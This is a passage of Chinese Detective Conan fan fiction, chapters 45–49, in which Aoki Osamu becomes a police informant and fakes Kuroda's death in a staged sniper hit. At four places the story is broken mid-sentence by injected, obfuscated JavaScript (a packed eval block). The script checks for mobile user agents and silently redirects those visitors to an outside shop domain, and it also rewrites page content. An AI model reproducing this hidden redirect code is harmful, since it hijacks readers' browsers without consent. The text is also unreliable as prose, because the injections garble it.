诸伏景光没想到降谷零会在这种时候过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14204665|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “有什么消息吗?还是有任务?” 他记得这段时间没有会议要回警察厅开啊? 降谷零已经在这里等了他有一会儿,闻言转过头。 “hiro,青木修去买菜了。” 诸伏景光一听就知道是怎么回事,多半是降谷零有些要支开青木修的话要说。 “发生什么事了?” “青木修是什么时候开始和你住在一起的?” 降谷零还不知道这件事,要不是他最近发现诸伏景光有点不对劲,还以为是出了什么事情,今天特意摸过来看看,谁料正好和正在家里打扫卫生的青木修撞上。 “有一个多月了。” 诸伏景光心里清楚降谷零今天此行的目的多半不是来兴师问罪,心中也没什么顾忌。 降谷零闻言微不可闻地叹了一口气。 “hiro……”他其实也不知道该怎么跟诸伏景光说,要知道诸伏景光向来是一个有分寸的人,利益要害也都能看得很清楚,“现在正是关键时期。” “我明白。” 两人多年的默契让降谷零即便不用把话点明,诸伏景光也能知道他的言下之意。 “我遇见他纯属意外。” 降谷零不得不承认,有缘分的两个人即便分开了也能在意想不到的场景下重逢。 “他现在的状态很不好,我怀疑FBI那边也有组织的人……总之,他在美国也不是绝对的安全,赤井秀一就把他送回来了,一个意外让我们俩又遇上了。” 降谷零听完心下一冷,虽然他一直都不太喜欢FBI,但如果FBI都能被组织渗透,那么对于青木修来说还真的没有能够安全立身的地方。 “怎么会?” 他出于震惊,又问了一遍。 “虽然只是我的推断……”实际上诸伏景光一时半会儿也拿不出能够佐证自己猜测的证据,“但根据青木修的情况来说,这是唯一的可能了。” 想到青木修身体状况的恶化,诸伏景光心中是止不住地担忧。从两个人住在一起以来,青木修又在家里发作过几次被他撞见,情况是一次比一次严重。 “那对于青木修,你到底是怎么想的?” FBI的事情他们暂时也管不了,降谷零只能先把他们撇到一边,重心重新放回青木修身上。 “我……” 话到嘴边,诸伏景光忽然卡了壳。 他一时间竟然有些不敢在降谷零面前坦白自己的心思。 或者说,他一直都不敢正大光明地把自己的心思袒露出来。 “我……我希望……把他发展成我们的线人。” 这句话说出口之后,剩下的话都要好说许多。 “青木修如果能成为我们的线人,对你、对我、对我们来说都是一件好事,这样的话我们也能帮他早日摆脱组织。” 他话是这样说着,可是看见降谷零微变的脸色,他心中还是暗叫不好。 随着降谷零的目光慢慢转过头,他看见了不知何时已经回家,站在门口,手里还拎着新鲜蔬果的青木修。 “青木……” 诸伏景光心脏开始狂跳。 46.第 46 章 青木修神色如常,看着诸伏景光的一双眼睛里毫无波澜。 实际上他拎着购物袋的那只手,指甲已经深深掐入掌心。 他就像是毫无感觉似的,甚至还能挤出一个微笑。 “景光……” 他的心酸涩的仿佛能滴血。 原来诸伏景光是想把他发展成线人吗?这几天的生活只是他的一厢情愿啊。 不过没关系,至少对于诸伏景光来说,他还是有价值的。 “我愿意成为你们的线人。” 看到青木修这副平静的模样,诸伏景光的心里却是惊涛骇浪。 这不是他的内心想法,老天却仿佛在跟他开玩笑,每次这种场景都能让青木修撞上。 “青木修,你想好了吗?” 降谷零的心境还算是平稳,见诸伏景光沉默不语,便先一步开口道。 “我想好了。” 青木修依旧是那副平静模样,他神色如常地换好鞋,拎着食材进了厨房。 既然捣毁组织是诸伏景光的追求,那么自己就有必要帮助他实现这个梦想。 青木修整理着东西,手上的动作微微有些发抖。 这一切,就当做是他的赎罪吧。 他欠了诸伏景光太多,必要的时候,甚至可以用自己的生命偿还。 这一点他早就有了思想准备,现在作出决定对他来说也不算太难。 简单收拾好厨房,他重新返回客厅,跟着两人坐下来。 “如果你真的做好决定的话,明天跟我们去一趟警察厅吧。” 诸伏景光不断搓着手,试探着提建议。 青木修第一时间想到的是他,“你们俩的身份,是不是不方便直接出现在警察厅?” “没关系的,我们从后门进去就行,那里只有我们零科的人才会知道。” “不影响你们的工作就好。” 青木修压根没想过他们俩带他去警察厅是要做什么,仿佛只要是诸伏景光的提议,他就会无条件答应。 “你就不想知道我们带你去警察厅是要干什么?” 青木修嘴角一弯,“总归你们不会害我。” 他的真诚与信任几乎让两人哑然。 诸伏景光摸摸鼻子,主动为青木修解释,“其实就是带你去零科做一个登记,这样你就是零科记录在册的人了,这样对你以后也比较好。” 青木修并不在乎这些,闻言点点头。 降谷零和诸伏景光同他聊到很晚,到最后降谷零干脆暂时留宿在这里,等到第二天天不亮,两人就马不停蹄把他带去了警察厅。 降谷零把车在隐蔽处停好,在前面带路。 诸伏景光和青木修并排走在一起。 青木修就看着两人从警察厅旁一个不起眼的建筑进去,一路上先是来到地下,走过长长的走廊,停在一部电梯前。 指纹、刷脸、扫描瞳孔和声纹……经过重重检测,电梯门才发出“嘀”的轻响,缓缓在三人面前打开。 “进去吧。” 注意到青木修疑惑的眼神,诸伏景光为他解释道:“电梯门口有感应器,如果出现没有验证就要乘坐电梯的人,必须有两个及以上的认证人员陪同。” 三人一路来到警察厅的顶层,和青木修想象的不同,这里并没有因为还不是上班时间就没什么人,相反,绝大多数的岗位上都坐着人正在工作。 “你们公安都流行不睡觉的吗?” 青木修忍了忍,还是没忍住。 降谷零动作一僵,笑容有些怪异,“我们有些岗位是两班倒,还没那么不人道。” “我还以为你们公安都像你一样不睡觉的呢。” 诸伏景光还是第一次见到降谷零在青木修面前吃瘪。 “到了,”降谷零走到尽头的一间办公室门口停下,敲敲门,“黑田长官已经在里面等你了。” “黑田长官?” “就是我们俩的直属上司,他想见见你。” 青木修听着里面的人说了一声“进来”,略有迟疑地推开厚重的木门。 里面坐着一位看上去有些年长的男人,不过身形很高大,方正的国字脸,一眼看过去就极具威严。 “你就是青木修?”他扫了一眼站在门口的诸伏景光和降谷零,“你们两个也进来。” “你好,我就是。” 黑田长官的一只眼睛应该是早年间受了伤,一条巨大的伤疤横亘整个眼眶,眼睛紧闭着,似乎已经没有视力了。 “坐下吧。” 和看上去的面相不同,黑田长官说话倒是与之气质不符的和气。 青木修有些拘谨的坐在沙发上,诸伏景光见他这个模样,直接坐在了他身边。 黑田兵卫的眼神在两个人身上转了转,“你们俩关系不错?” 青木修紧张的汗都要下来了,还是诸伏景光替他解了围,“长官,我和青木确实关系不错。” 黑田兵卫不甚明显地笑了下,仿佛明白了什么,“怪不得你要主动提议让青木修做我们警察厅的线人呢。” 青木修有些疑惑地看向诸伏景光,主动提议?什么意思? 诸伏景光避开青木修的视线装傻。 “好了,今天让你来也没什么,就是走流程做一下登记,顺道向你问一些情况。” 青木修闻言瞬间正襟危坐,“好的,您请说。” 黑田兵卫也就直接开门见山,“既然你选择做线人,我们也希望从你身上获取一些关于‘那个组织’的消息。” “是哪方面的呢?” 想问的太多,黑田兵卫也思考了下,“那就——先说说你自己吧。” “我?” 青木修似乎没想到自己居然也能成为一个话题的主角。 “我是组织人工培育的胚胎,就出生在实验室,和我同一批的还有好几个兄弟姐妹。” “那他们现在的下落呢?” 青木修的脸上闪过一丝落寞,“他们都已经死了。” “因为什么呢?” “实验,或者训练。” “实验?” 青木修知道黑田兵卫在好奇什么,“我们都是组织特意培养出来的实验体,用于供给组织的各种实验,其他的项目我不太清楚,但是我们几个当时都是用于参与‘永生’这个项目。” 永生……黑田兵卫思索着,他确实有听过诸伏景光和降谷零提起过这个词。 “那你们的实验有成效吗?” “具体进度我不得而知,目前这个项目存活的实验体只有我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14220716|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和贝尔摩德两个人,她是在延缓衰老这一个方向比较成功,我则是在细胞逆生长这个方向。” 在黑田兵卫的引导下,青木修简单介绍了一下他曾经接受过的实验。对于他自己来说这些实验都没什么,就像是在讲一个遥远的故事。诸伏景光却是听得攥紧拳头。 他不知道青木修是怎么熬过那些暗无天日的时光。 其实青木修有些心虚——他省去了和诸伏景光父母有关的那一部分。 随着组织实验留下的后遗症发作越来越频繁,他就像是猫儿似的对自己的死亡有了一种预感。 他自觉命不久矣,只贪恋诸伏景光身上的片刻温暖。他害怕如果自己把实情托盘而出,自己和诸伏景光会连朋友都做不成。 就原谅我一次吧……青木修在心中默默乞求。 “你的意思是,除了实验之外,组织还对你们进行了其他方面的培训?” 听到青木修提起训练和“调酒”,黑田兵卫提问。 “组织不养闲人。” 青木修解释道:“除了那些被抓来的实验体之外,所有隶属于组织的人都不能是闲人,组织会想办法榨干净我们所有的价值。” “那你认识琴酒吗?” 黑田兵卫没忘记自己两个属下经常提起的另外一号人物。 “认识,我们在训练营里就认识了,他是组织收养的孤儿。” 没想到组织里的top killer竟然是孤儿出身,诸伏景光还以为他也是出生在组织里的人。 随着谈话的逐渐深入,诸伏景光的心一点一点变得冰凉。 他无法想象青木修到底是如何活到这一天。 设身处地的想,自己都不一定能熬过那么多实验。 但是看到青木修平静陈述这一切的侧脸,他又不自觉地闪过心疼。 向来只有痛到麻木,才能像讲故事把这些事情讲出来。 要不是现在的场景不合适,诸伏景光真的想把青木修抱在怀里,拍拍他的后背,告诉他,自己永远都在。 “咳咳。” 注意到诸伏景光的视线都已经黏上青木修的侧脸,黑田兵卫咳嗽几声把他的注意力拉回来。 “你说组织在你身上也取得了一些成果,能简单说说吗?” “我的衰老速度比贝尔摩德还要慢一些,并且经过一些手术之后,我身体一些部位的细胞已经完成了‘逆生长’的进程,如果进行测量的话,这些细胞的年龄会比我的骨龄要小一些。” 听到这番话,黑田兵卫不由得问出了一个和当初赤井秀一一样的问题: “你今年多少岁了?” 青木修如实回答,“三十二岁——马上就三十三岁了。” 诸伏景光表情变得僵硬,就连降谷零也带着几分不可置信的目光看过来。 要知道降谷零顶着一张娃娃脸,看上去比实际年龄要小不少,青木修看上去可是比他还要嫩一点! 结果现在告诉他们,青木修要比他们大了接近四岁? 诸伏景光觉得似乎有什么东西在耳边碎裂了。 他一直都把青木修当作弟弟看的啊! 现在一朝弟弟变哥哥,他真的需要一点时间来接受一下。 想到这里,诸伏景光搓了一把脸。 47.第 47 章 诸伏景光还需要一点时间来消化青木修比他大四岁的事实,黑田兵卫却不知道他心里的想法。 “听诸伏说你前段时间跟着一位FBI脱离组织去了美国,我能问问是什么原因让你这么快回来的吗?” 还不知道诸伏景光推测的黑田兵卫问道。 “FBI也被组织渗透了。” 青木修轻轻一句话,却是在办公室里丢出一个炸雷。 黑田兵卫没想到竟然会是这么一个原因。 “你是怎么确定的?” 他其实还有点不敢相信,组织的手已经能伸得这么远。 “赤井秀一把我带回美国之后,他接受隔离审查,我暂由其他人接管,他们明面上是说让我去FBI控制下的一间疗养院修养,但那里实际上是他们的一个生物实验室,负责人是组织渗透进来的人,我在美国那段时间里也一直在接受实验。” “那你是怎么摆脱实验室的呢?” “赤井秀一结束隔离审查之后想来找我,几次三番被拒,他从中发现了异样,这才想办法找到我,用了些法子把我从疗养院劫走。” 这样一来,青木修匆匆回国的原因就解释得通了。 黑田兵卫了然点头,“今天就先到这里吧,青木先生,接下来几天可能还要麻烦你过来几次。” 青木修做出一副洗耳恭听的姿态。 “你刚刚提到组织与很多制药公司和议员都有来往,甚至是密切的合作,我们需要你提供一下这些公司和议员的名单。” “没问题。” 如果不是黑田兵卫留心,青木修差点就要把这一点忽略过去。 毕竟有些事情对他来说太平常了,一旦形成习惯的事情就容易被忽视。 降谷零和诸伏景光带着青木修去做了信息登记,给他开通了一些低级权限,方便两人有任务时他一个人过来。 从现在起,青木修自然多了个身份:警察厅零科正式线人。 接下来的几天,降谷零连同诸伏景光都各自有任务,青木修便一个人按原路来到零科办公室,直接坐在黑田兵卫的面前,把自己记忆中和组织有牵扯,甚至是合作的制药公司和议员的名单一一列出来。 有了青木修提供的名录,零科的公安们行动起来可谓是有的放矢,上上下下以最快的速度整理出相关的证据,将有关涉案人员该逮捕的逮捕,该调查的调查。 见针对组织的工作有了重大进展,就连一直习惯性紧皱眉头的黑田兵卫眉间都舒展几分。 当然,他们舒服了,有些人就会不舒服。 这段时间组织也觉察出警方针对他们的行动有了重要进展,想来警方一定是找到了什么重要人物。 再三思量之下,朗姆向上请示过后,选择启用一直深埋于警察厅的暗哨。 这名暗哨官职不高也不低,正好方便他在警察厅中打听消息,又不会引起其他人的怀疑。 经过一个多月的试探和打听,他向组织传递了一个人名,并暗指就是他向上级提供了相关的名单。 尽管朗姆能意识到这个人能一下子找出这么多和组织有关系的药企和议员,背后必然还有人为其提供消息。 但暗哨受制于权限,更多的情报也打探不到了。 朗姆左思右想,最后决定还是先一步把暗哨呈报来的这个不稳定因素处决掉。 行动任务很快转交到行动组手上。 组织原本打算榨干净苏格兰威士忌的最后一丁点价值,然后让他顺理成章死在某一次任务里。 但是出乎所有人意料,没有了同伴的苏格兰威士忌个人能力比他们想象中的都要强。 威士忌小组还在的时候,他看起来行动能力上没有已经暴露叛逃的赤井秀一强,情报搜集能力又没有波本威士忌专精,但是拆组解散之后他的能力竟是慢慢凸显出来——苏格兰威士忌也是一个不可多得的综合性人才。 诸伏景光一次又一次从组织认为他必死的任务中活下来——不管有没有受伤、受伤又有多重,他都活下来了——这就不得不让组织重新考虑起诸伏景光的能力和作用了。 经过多次重新评估,上层决定收回以前的决定,重新重用苏格兰威士忌,给他派遣了不少正常许多的任务。 上次让诸伏景光跟踪的对象已经有了结果,也已经被组织派人;了结,这段时间诸伏景光一下子闲了下来,每天大多时候都是和青木修窝在一起打发时间,或是在青木修后遗症发作的时候照顾他。 琴酒看着手机上的任务简报,想到了这段时间被重新起用的苏格兰威士忌。 “就把任务交给苏格兰吧。” 贝尔摩德也这么建议到。 琴酒原本已经同意了,顺手就把任务简报转发给诸伏景光,一转念不知想到了什么,“找个资历高一点的,跟着他一起去。” 这一边,正和青木修一起倒在沙发上看电视的诸伏景光感受到衣兜里工作手机的震动,知道是组织下了任务,连忙拿出来一看,立刻黑了脸。 青木修察觉到他的情绪变化,第一时间转头,“怎么了?” 他没直接低头去看诸伏景光的手机。 “组织下任务了。” “是什么?” 青木修知道组织对诸伏景光态度的变化,但是想到能让行动组去做的准没好事,更不用说诸伏景光眨眼间变如同锅底一样的脸色。 “让我和另外一名组织成员去暗杀黑田长官。” 这下子,就连青木修都变了脸色。 “你别急,事情还没你想的那么严重。” 诸伏景光把任务简报中的人名给青木修看。 上面写着的并不是黑田兵卫几个字。 “这是黑田长官对外的一个假身份,也是他平时在警察厅外用的一个身份。” “这样啊……” 青木修松了一口气。 “但是这个跟我一起行动的组织成员是个行动组的老人。” 青木修看了眼成员代号。 有点印象,但不多。 “这样就不太好糊弄了,怎么办?” 青木修第一反应是直接在任务现场做掉这个代号成员,但是转念一想就知道不行: 诸伏景光才刚刚重新受到信任,要是第一次和别人同出任务,同伴就意外死亡,这要让琴酒怎么想? 看来只能从黑田兵卫这边下手了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14228903|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “黑田长官必然不能出事。” 这个道理青木修也懂,黑田兵卫是零科的主理人,在这个好不容易行动有了重大进展的节骨眼上,主理人要是出了什么事,那不是赤裸裸打零科的脸吗? 见诸伏景光眉头紧锁,青木修也跟着紧张起来。 他眼睛转了几圈,忽然想到一个办法。 “反正你的任务目标只是黑田长官的一个假身份,黑田长官假死也不会有什么影响,要不我们俩打配合,制造黑田长官身亡的假象?” 青木修话一出口诸伏景光就知道他心里打的是什么算盘。 “你想假扮成黑田长官?” 青木修点点头,“我现在就去找黑田长官说明清楚,他肯定会同意的。” 说完他从沙发上跳下来就要跑,诸伏景光连忙一把伸手薅住他。 “你有没有想过这个计划有多危险?要是跟我一起行动的成员也要动手怎么办?” “可你不是说黑田长官必然不能有事吗?” 青木修一个反问倒是把诸伏景光噎住了。 他不得不承认,按照眼下的情况来说,青木修的提议无疑是最好的办法。 只是……他不忍看到青木修冒这个险。 被担心的人压根没有这个自觉,他推了一把诸伏景光,“别愣着了,我把你的任务简报拍个照带去给黑田长官,你就在家里安心准备吧。” 望着青木修出门的身影,诸伏景光不由得多想了一层:能打听到黑田长官假身份的人,必然出自于警察厅内部。 看来警察厅也需要进行内部审查。 当然,这都是后话,当务之急是先解决黑田兵卫身上的事情。 青木修一路熟门熟路来到零科办公室。 他前线日子来这里来的频繁,已经和不少人都已经相熟,见他过来,他们也都是和和气气的和青木修打招呼。 这是现在青木修心里揣着事,简单应下他们的问好,便大步走到黑田兵卫的办公室前。 敲了门得了应允,青木修推开门就冲了进去。 “黑田长官,你在外的假身份被组织盯上了。” 黑田兵卫听了他的话有些吃惊,但到底是见过大风大浪的人,还算是镇定,“怎么回事?” 青木修把自己拍下的任务简报摆在黑田兵卫面前。 “前段时间零科的动作太大,引起了组织的注意,他们不知道用了什么方法查到了您的假身份上,眼下已经给景光下达了任务,要和另一位成员来暗杀您的假身份。” 黑田兵卫第一时间想到的就是警察厅内部出了叛徒。 他捻灭香烟,“我记得诸伏汇报说组织前段时间刚刚对他重新进行了评估?” “对,”青木修肯定道,“这次任务恐怕也是对景光的一个考验,跟他同行的成员暂时不能动。” “那你们是什么打算?” 经过一段时间的相处,黑田兵卫也知道青木修和诸伏景光一样,都不是鲁莽的人,这个时候来找他,想必是已经有了自己的想法。 至于青木修说跟诸伏景光一起的代号成员还不能动,那么想要破此局,只能从自己这边下手。 48.第 48 章 “我和景光的计划是由我假扮成您的样子,和景光打配合制造您的假身份被杀身亡的假象。” 和黑田兵卫猜的差不多,他料想诸伏景光和青木修应该也是要打算找人来假扮他,只是没想到这个人会是青木修。 他问出了一个和诸伏景光一样关心的问题。 “如果跟着景光的代号成员也动手了,那该怎么办?” 青木修已经想到过这一点,“这位成员很大概率只是作为景光的监督者,不会亲自动手,就算是动手应该也只是补刀,只要我们提前做好准备,应该不会有什么事。” 黑田兵卫抬眼去看青木修的侧脸,发现对方的脸上满是认真,想了想,答应下青木修的提议。 他们没有贝尔摩德那样精湛的技术制作假面具,但基础的伪装工作还是有的。 青木修特意跟着黑田兵卫工作了几天,模仿下对方的一举一动,以至于回家整理装备时,诸伏景光看着他的背影都有点幻视黑田兵卫了。 “青木,都准备好了吗?” 明天就是任务简报上的行动时间了,从今晚开始,青木修就要接替黑田兵卫的身份进行活动。 “都准备好了。” 青木修已经做好了伪装,贴上假胡子戴上假发套之后就更像黑田兵卫了,虽然不能跟贝尔摩德的面具进行比较,但在距离足够且对方不熟悉的情况下也足以以假乱真。 他们商议好的中枪部位有两个,一个在青木修的后脑,那里垫了一个大号的血浆包,诸伏景光只需要吗,开枪让子弹擦过后脑部位把血浆包打破就可以了。 另一个位置在后心,到时候青木修在“中枪”后会尽量让头部倒向有遮蔽物的位置,他穿着防弹衣,后心和前胸心脏部位都垫着血包,防止代号成员要求诸伏景光补刀。 “想到又要对你开枪……”诸伏景光后背上开始沁出汗珠,之前对青木修开枪的场景几乎已经成为了他的噩梦,“我就有点手抖。” 青木修把自己的手搭在诸伏景光的手上,用自己的手掌包裹住他的手,“你是狙击手,千万不能手抖啊。” 他安慰诸伏景光,“只是一个假任务而已,相信我,我不会有事的。” 诸伏景光闭上眼睛,仔细感受着青木修手心传来的温暖,心跳慢慢降下来一点。 “我知道了,你放心,不会出岔子的。” 青木修从来没有怀疑过诸伏景光的能力。 “我相信你。” 两人依偎在一起,互相从对方身上汲取了一些温度,便互道分别,回归自己的岗位。 诸伏景光拉下帽檐,背上狙击枪,变成那个毫不手软的苏格兰威士忌;青木修一路从警察厅的顶层下到楼下的普通办公室,和已经在那里等着的黑田兵卫在视线死角互相换了位置。 “我就在楼上,医院也已经联系好了,有什么动静我们会第一时间行动。” 楼上的公安们也被通知到今晚会有行动,大家都已经做好了完全的准备。 青木修想到楼上那群已经能称之为“同事”的家伙们,心头一暖,“我们都会没事的。” 目送黑田兵卫从暗道回到楼上的办公室,青木修长出一口气,背对着玻璃,坐在了黑田兵卫的位置上。 以他目前的权限当然不能看黑田兵卫的电脑,黑田兵卫特意让人给他单开了一个界面,整理了一些他能看的文件,方便青木修边等诸伏景光行动边能检查他们公安最近的行动,看看有没有什么遗漏的部分。 诸伏景光先是回到基地和代号成员汇合,两人互相检查身份后便坐上前往警察厅附近的车。 代号成员开着车,从车内后视镜看坐在后排摆弄自己狙击枪的诸伏景光。 他对于这个前威士忌小组出来的人一直有些看不起,觉得他能从组织的那么多次任务里活下来纯属运气好。 两人一路上无言,直到藏好车,找到合适的狙击点,他们才有了第一句对话。 “今晚的任务目标,不要搞错了。” 诸伏景光快速扫了一眼对方手机上的照片,面无表情的回答。 “知道了。” 他对这个代号成员也恨得牙痒痒——虽然说两人此前压根没什么交集,一定程度上完全是对担心青木修又要冒险的迁怒——故而也没什么好语气。 “今晚的任务不能出差错。” 诸伏景光已经在狙击点位上趴好,调整瞄准镜,代号成员看着他的动作,意有所指的提醒道。 “保证一枪毙命。” 诸伏景光听到他的话,恨不能直接跳起来把人打晕拖走,但他知道任务要紧,愣是按下了心中的念头。 代号成员见他对自己没好语气,也知道对方应该看自己很不爽,便没再自讨没趣,跟着诸伏景光一起趴下来调整自己的瞄准镜。 两人现在所处的位置是诸伏景光前些天早就踩好点的地方,正好能看见警察厅里黑田兵卫的假办公室,又恰好有一部分遮挡,方便青木修倒下时进入视野盲区。 诸伏景光在找好位置之后代号成员没有第一时间要求他动手,而是观察了好一会儿瞄准镜里“黑田兵卫”正在干什么。 “能看见他的电脑上显示的是什么吗?” 闻言诸伏景光无语道:“我这是瞄准镜,不是望远镜。” 代号成员知道自己问了个低级问题,就没好意思怼回去。 时间一分一秒的过去,两人趴在天台上看了半宿“黑田兵卫”加班。 天边已经渐渐泛起青白色,眼看着再过不久天就要亮了,青木修伸了个懒腰,做出一副准备休息一会儿的样子。 代号成员终于从瞄准镜里看见“黑田兵卫”动弹了两下,正好进入最佳狙击区域,连忙暗示诸伏景光动手。 心里清楚坐在那里的人是青木修,诸伏景光心跳又快了些,但是身旁还有代号成员在监督,他不能让对方看出端倪,只能努力克制住自己的呼吸,保持频率。 “咻——” 子弹出膛,以凌厉之势划开空气,飞向黑田兵卫所在的位置。 “哗啦——” 办公室玻璃被打碎,眼看着原本坐在位置上的“黑田兵卫”身子颤了一下,脑袋后方爆出一大团红白的血浆。 紧接着他摇晃两下,向着侧方一倒。 目睹一切的诸伏景光心脏都要跳到嗓子眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240093|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刚刚对着青木修开出的一枪就像是做梦一样。 “嗯哼,任务完成。” 诸伏景光确定瞄准镜里的人没了动静,作势就要站起来。 代号成员一把拉住他,“慌什么,对着他后心再补一枪。” 诸伏景光心说幸好青木修早做好了准备,他便没有犹豫,重新调整好角度对准青木修露出来的后心又补了一枪。 看着瞄准镜里飞溅的血花,代号成员的疑虑这才打消。 “可以了吗?” 这一次诸伏景光没有再等他的反应,爬起来就准备收枪。 “可以了。” 代号成员嘴上这么说着,手下却是扣动扳机。 诸伏景光瞳孔一缩,连忙重新趴回位置上去看青木修的情况。 子弹钻入青木修大腿的位置。 诸伏景光可没忘记青木修现在对疼痛可以说是敏感至极,但凡青木修因为疼痛动一下,他们俩都要完蛋。 还好,瞄准镜里青木修的腿压根没有挪动半分。 “看来是真的死了。” 他们在同一个位置开了三枪,已经违反了狙击原则。 诸伏景光看着对面逐渐乱起来的办公室,忙不迭抓着代号成员跑了。 奔逃时侧过头看到对方嘴角的笑意,诸伏景光简直想当场把人解决掉。 在心中默念三遍“冷静”,诸伏景光压下心头的火气,心说以后有的是机会收拾你。 警察厅里,早就蓄势待发的公安们在听到动静后立马从暗处冲出来,慌忙检查青木修的状况。 摘掉青木修已经彻底染红的假发套,见他后脑没有伤口,黑田兵卫也是松了一口气,后心处因为有防弹衣保护,除了一些青紫的淤伤倒也没什么,唯一严重的就是大腿上的枪伤。 早早联系好的警察医院立刻派了车把青木修接走进行紧急手术。 还在洋洋得意的代号成员根本不知道,他和诸伏景光的狙击点位是一早就被设计好的,那里早已有人守株待兔。 没过几分钟,风见裕也也带着拍到的照片回到警察厅。 代号成员的面容也被他们提早安排好的微型摄像机拍的清清楚楚。 “黑田长官,嫌疑人的正侧面高清照片都已经拍到了。” 黑田兵卫立刻吩咐下去,“联系数据中心,把照片导入进去,全方位排查这个人的行踪。” 这个人和诸伏景光一起参与这次的行动,必然不能留了。 他们公安虽然没办法直接出手解决掉他,但大可以让青木修出手,设计一出意外让他过段时间好悄无声息的死掉。 青木修早料想到跟着诸伏景光的代号成员不会轻易相信诸伏景光,必然会在诸伏景光开枪之后补刀,为此他在上身几个要害处都垫了血包。 只是千算万算没想到这个代号成员居然会打腿来看看人是不是真的死了。 子弹入肉的刹那,灼热的疼痛立刻顺着神经爬进大脑,青木修疼得浑身一僵,但他立刻反应过来这肯定是代号成员的试探,千万不能动。 但是疼痛实在难忍,他只能在狙击手看不到的角度抓紧地上的毛毯。 49.第 49 章 等到其他公安冲进办公室后,青木修已经把身前的毛毯抓破。 好在黑田兵卫已经跟警察医院那边打过招呼,他们第一时间就派出救护车把人送往警察医院。 诸伏景光心里挂念着青木修的伤势,但他还要和代号成员一起回到基地进行汇报,只能在心里干着急。 青木修被送往警察医院后第一时间被送进手术室,医生们处理的很及时,并且子弹没有伤及骨头,所以手术没费多长时间就结束了。 黑田兵卫处理完后续的事情,进入病房时,青木修已经醒了。 “黑田长官。” 黑田兵卫冲他一颔首,“医院这边都已经交代好了,天亮之后他们就会放出我的‘死讯’。” 青木修对黑田兵卫的能力还是很相信的,闻言并没有对他的安排做出质疑。他现在只关心一件事—— “我什么时候能出院?” “你急着出院吗?” 青木修点头,“这不是什么重伤,我回家也能修养,景光来警察医院必定有很多不方便的地方,不如我回去,他看到我也能放心些。” 黑田兵卫注意到,青木修提到“家”这个词时,眼睛里有光。 “你才刚做完手术,需要我让人送你吗?” 青木修并不想让太多人知道诸伏景光现在安全屋的地址,闻言谢绝了黑田兵卫的好意。 “我自己就能回去,谢谢黑田长官费心了。” “那你回去之后好好养伤,还有任务等着你。” “是什么?” 黑田兵卫也不卖关子,直接掏出手机点开一段监控。 画面里是一个黑衣男子,边走边回头,很是警惕的观察着四周。 “这是……” 青木修并不认识画面中黑衣男子的脸。 “这就是跟着诸伏一起行动的代号成员,我们在狙击点周围布下的监控拍到了他的正脸,我们根据照片导入全市的监控,找到了他的行踪。” 青木修脑子转的很快,“需要处理掉他吗?” 黑田兵卫没有否认,“他跟着诸伏一起出任务,为了以防万一,有必要让他彻底闭嘴。” “什么时候动手?” “先不着急,我们会对他进行一段时间的监控,”黑田兵卫自认为自己还不是压榨剥削下属的暴君,“你先好好修养一段时间,他才刚和诸伏一起结束任务,立刻就出意外容易引起怀疑,到了合适的时间我会通知你的。” “好的。” 两人谈话间,主刀医生敲敲门,示意两人自己要进来。 黑田兵卫和青木修一齐安静下来。 医生让护士给青木修换上防止伤口发炎的点滴,又检查了下他的伤口。 “情况看起来不错,小心不要让他撕裂了。” “医生,这瓶点滴打完我能出院了吗?” 医生还没把他的话听完,瞬间刀子似的眼神就像青木修丢了过去,后者心虚的一缩脑袋。 “就你现在的样子还想出院?我刚刚说什么来着?” 青木修对上医生的眼神,气势平白弱了三分。 “我还有……工作。” 他斜着眼睛看了眼站在一旁的黑田兵卫。 主刀医生立刻看向黑田兵卫,向对方求证青木修话的真实性。 黑田兵卫接收到青木修的疯狂暗示,清清嗓子背下这个锅,“没错,他一会儿还有工作。” 主刀医生变成半月眼,看看黑田兵卫又看看青木修,最后无奈地叹息一声,“出院以后减少活动,不要沾水,小心伤口撕裂,及时服药,要是有发炎的迹象及时来医院。” 作为警察医院的医生,他已经习惯了这些病号们才好转一点就嚷着要出院的行为了。 